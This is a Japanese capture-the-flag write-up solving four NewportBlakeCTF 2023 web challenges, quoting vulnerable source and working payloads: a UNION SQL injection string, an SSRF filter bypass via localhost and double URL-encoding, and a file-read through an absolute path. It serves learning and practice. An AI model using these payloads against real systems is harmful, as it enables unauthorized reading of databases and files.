NewportBlakeCTF 2023 Web Writeup
はじめに
12/2 09:00 JST - 12/5 9:10 JST に開催された NewportBlakeCTF 2023に一人チームで参加しました。
最近はチームで参加することが多かったので、逆に普段やらないWebだけを解くというスタイルにしてみました。
少なくともWebに関しては隙間時間にやるのにちょうどいい難易度でした。
Writeup
Inspector Gadget
266 Solves / 130 points
クローリング問です。
めちゃくちゃ強いクローラを持っているわけではないので、とりあえずhttrackしました。
$ rg Flag inspector-gadget.chal.nbctf.com/
inspector-gadget.chal.nbctf.com/index.html
76: <img src="Krooter%20Gadget.jpg" alt="Flag Part 3/4: D3tect1v3_">
inspector-gadget.chal.nbctf.com/index-2.html
76: <img src="Krooter%20Gadget.jpg" alt="Flag Part 3/4: D3tect1v3_">
inspector-gadget.chal.nbctf.com/supersecrettopsecret.txt
1:Flag Part 2/4:
inspector-gadget.chal.nbctf.com/gadgetmag.html
8: <title>Flag Part 1/4:nbctf{G00d_</title>
なるほどね。
Part 4/4が見つからないので探します。
robots.txt
を見てみると、
$ curl https://inspector-gadget.chal.nbctf.com/robots.txt
User-agent: *
Disallow: /mysecretfiles.html
というわけで
$ curl https://inspector-gadget.chal.nbctf.com/mysecretfiles.html 2>/dev/null | rg -i flag
<p>Here's part of the flag for your troubles, part 4/4 G4dg3t352}</p>
はい。
nbctf{G00d_J06_D3tect1v3_G4dg3t352}
walter’s crystal shop
162 solves / 241 points
UNIOIN based SQLiです
app.js
を読んでみると
const express = require("express");
const sqlite3 = require("sqlite3");
const fs = require("fs");
const app = express();
const db = new sqlite3.Database(":memory:");
const flag = fs.readFileSync("./flag.txt", { encoding: "utf8" }).trim();
const crystals = require("./crystals");
db.serialize(() => {
db.run("CREATE TABLE crystals (name TEXT, price REAL, quantity INTEGER)");
const stmt = db.prepare("INSERT INTO crystals (name, price, quantity) VALUES (?, ?, ?)");
for (const crystal of crystals) {
stmt.run(crystal["name"], crystal["price"], crystal["quantity"]);
}
stmt.finalize();
db.run("CREATE TABLE IF NOT EXISTS flag (flag TEXT)");
db.run(`INSERT INTO flag (flag) VALUES ('${flag}')`);
});
app.get("/crystals", (req, res) => {
const { name } = req.query;
if (!name) {
return res.status(400).send({ err: "Missing required fields" });
}
db.all(`SELECT * FROM crystals WHERE name LIKE '%${name}%'`, (err, rows) => {
if (err) {
console.error(err.message);
return res.status(500).send('Internal server error');
}
return res.send(rows);
});
});
app.get("/", (req, res) => {
res.sendfile(__dirname + "/index.html");
});
app.listen(3000, () => {
console.log("Server listening on port 3000");
});
db.all(`SELECT * FROM crystals WHERE name LIKE '%${name}%'`, (err, rows) => {
という感じで自明にSQLiができるので、します。
クエリはこんな感じで良さそう
%' UNION SELECT flag, NULL, NULL from flag ;--
nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}
secret tunnel
148 solves / 264 points
flaskですが、よくあるflask問ってわけでもない。
main.py
#!/usr/local/bin/python
from flask import Flask, render_template, request, Response
import requests
app = Flask(__name__,
static_url_path='',
static_folder="static")
@app.route("/fetchdata", methods=["POST"])
def fetchdata():
url = request.form["url"]
if "127" in url:
return Response("No loopback for you!", mimetype="text/plain")
if url.count('.') > 2:
return Response("Only 2 dots allowed!", mimetype="text/plain")
if "x" in url:
return Response("I don't like twitter >:(" , mimetype="text/plain")
if "flag" in url:
return Response("It's not gonna be that easy :)", mimetype="text/plain")
try:
res = requests.get(url)
except Exception as e:
return Response(str(e), mimetype="text/plain")
return Response(res.text[:32], mimetype="text/plain")
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
if __name__ == "__main__":
app.run()
と
flag.py
from flask import Flask, Response
app = Flask(__name__)
flag = open("flag.txt", "r").read()
@app.route("/flag", methods=["GET"])
def index():
return Response(flag, mimetype="text/plain")
if __name__ == "__main__":
app.run(port=1337)
があり、main.py
からflag.py
を読めばOK。
最初の127
と.
の制限は普通にlocalhost
でバイパスできる。
問題は"flag"
で、これがちょっと厄介だった。
URLエンコードを行っても、デコードされた上で評価されてしまうのでアウト。
というわけで、二重にエンコードする事にした
$ curl -X POST -d "url=http://localhost:1337/%2566%256c%2561%2567" https://secret-tunnel.chal.nbctf.com/fetchdata
nbctf{s3cr3t_7uNN3lllllllllll!}
はい。
nbctf{s3cr3t_7uNN3lllllllllll!}
Galleria
126 solves / 304 points
なんでこれが一番Solve少ないのかわからない。普通のLFI
app.py
from flask import Flask, render_template, request, redirect, url_for, send_file
import os
from pathlib import Path
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads'
@app.route('/')
def index():
return render_template('index.html')
def allowed_file(filename):
allowed_extensions = {'jpg', 'jpeg', 'png', 'gif'}
return '.' in filename and filename.rsplit('.', 1)[1].lower() in allowed_extensions
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['image']
if file and allowed_file(file.filename):
file.seek(0, os.SEEK_END)
if file.tell() > 1024 * 1024 * 2:
return "File is too large", 413
file.seek(0)
filename = secure_filename(os.path.basename(file.filename))
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return redirect(url_for('gallery'))
def check_file_path(path):
_path = Path(path)
parts = [*Path.cwd().parts][1:]
for part in _path.parts:
if part == '.':
continue
if part == '..':
parts.pop()
else:
parts.append(part)
if len(parts) == 0:
return False
_path = os.path.join(os.getcwd(), path)
_path = Path(_path)
return _path.exists() and _path.is_file()
@app.route('/gallery')
def gallery():
if request.args.get('file'):
filename = os.path.join('uploads', request.args.get('file'))
if not check_file_path(filename):
return redirect(url_for('gallery'))
return send_file(filename)
image_files = [f for f in os.listdir(
app.config['UPLOAD_FOLDER'])]
return render_template('gallery.html', images=image_files)
if __name__ == '__main__':
app.run(debug=False, port=5000, host='0.0.0.0')
Dockerfile
FROM python:3.11-slim AS app
WORKDIR /var/www/html
RUN pip3 install --no-cache-dir flask
RUN mkdir uploads
COPY app.py .
COPY templates ./templates
COPY flag.txt /tmp/flag.txt
CMD ["python3", "app.py"]
flagは/tmp/flag.txt
にあるので、/gallery
へのリクエストで読ませてみる
$ curl "https://galleria.chal.nbctf.com/gallery?file=/tmp/flag.txt"
nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}
すんなりいけた。
アップロード機能が引っ掛けみたいな感じで詰まってるのかな。
nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}
総括
これくらいの難易度なら割とWebでも早解きできるようになってきており、ちょっとだけ成長を感じている。
おわりに
この記事はn01e0 Advent Calendar 2023の5日目の記事です。
明日はあるかわかりません
また、IPFactory OB Advent Calendar 2023の5日目の記事も兼ねています。
Comments